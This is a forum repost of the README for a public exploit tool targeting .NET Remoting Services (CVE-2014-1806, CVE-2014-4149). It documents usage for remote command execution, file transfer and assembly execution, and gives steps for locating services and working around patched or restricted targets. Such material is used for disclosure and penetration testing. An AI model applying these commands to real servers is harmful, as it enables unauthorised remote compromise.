Nytro Posted November 17, 2014 Report Posted November 17, 2014 [h=1].NET Remoting Services Remote Command Execution[/h]Source: https://github.com/tyranid/ExploitRemotingServiceExploit Database Mirror: http://www.exploit-db.com/sploits/35280.zipExploitRemotingService (c) 2014 James Forshaw=============================================A tool to exploit .NET Remoting Services vulnerable to CVE-2014-1806 or CVE-2014-4149.It only works on Windows although some aspects _might_ work in Mono on *nix.Usage Instructions:===================ExploitRemotingService [options] uri command [command args]Copyright (c) James Forshaw 2014Uri:The supported URI are as follows:tcp://host:port/ObjName - TCP connection on host and portnameipc://channel/ObjName - Named pipe channelOptions: -s, --secure Enable secure mode -p, --port=VALUE Specify the local TCP port to listen on -i, --ipc=VALUE Specify listening pipe name for IPC channel --user=VALUE Specify username for secure mode --pass=VALUE Specify password for secure mode --ver=VALUE Specify version number for remote, 2 or 4 --usecom Use DCOM backchannel instead of .NET remoting --remname=VALUE Specify the remote object name to register -v, --verbose Enable verbose debug output --useser Uses old serialization tricks, only works on full type filter services -h, -?, --helpCommands:exec [-wait] program [cmdline]: Execute a process on the hosting servercmd cmdline : Execute a command line process and display stdoutput localfile remotefile : Upload a file to the hosting serverget remotefile localfile : Download a file from the hosting serverls remotedir : List a remote directoryrun file [args] : Upload and execute an assembly, calls entry pointuser : Print the current usernamever : Print the OS versionThis tool supports exploit both TCP remoting services and local IPC services. To testthe exploit you need to know the name of the .NET remoting service and the port it'slistening on (for TCP) or the name of the Named Pipe (for IPC). You can normally findthis in the server or client code. Look for things like calls to:RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstanceYou can then try the exploit by constructing an appropriate URL. If TCP you can use theURL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName.A simple test is to do:ExploitRemotingService SERVICEURL verIf successful it should print the OS version of the hosting .NET remoting service. Ifyou get an exception it might be fixed with CVE-2014-1806. At this point try the COMversion using:ExploitRemotingService -usecom SERVICEURL verThis works best locally but can work remotely if you modify the COM configuration anddisable the firewall you should be able to get it to work. If that still doesn't workthen it might be an up to date server. Instead you can also try the full serializationversion using.ExploitRemotingService -useser SERVICEURL ls c:\For this to work the remoting service must be running with full typefilter mode enabled(which is some, especially IPC services). It also only works with the commands ls, putand get. But that should be enough to compromise a box.I've provided an example service to test against.Sursa: http://www.exploit-db.com/exploits/35280/ Quote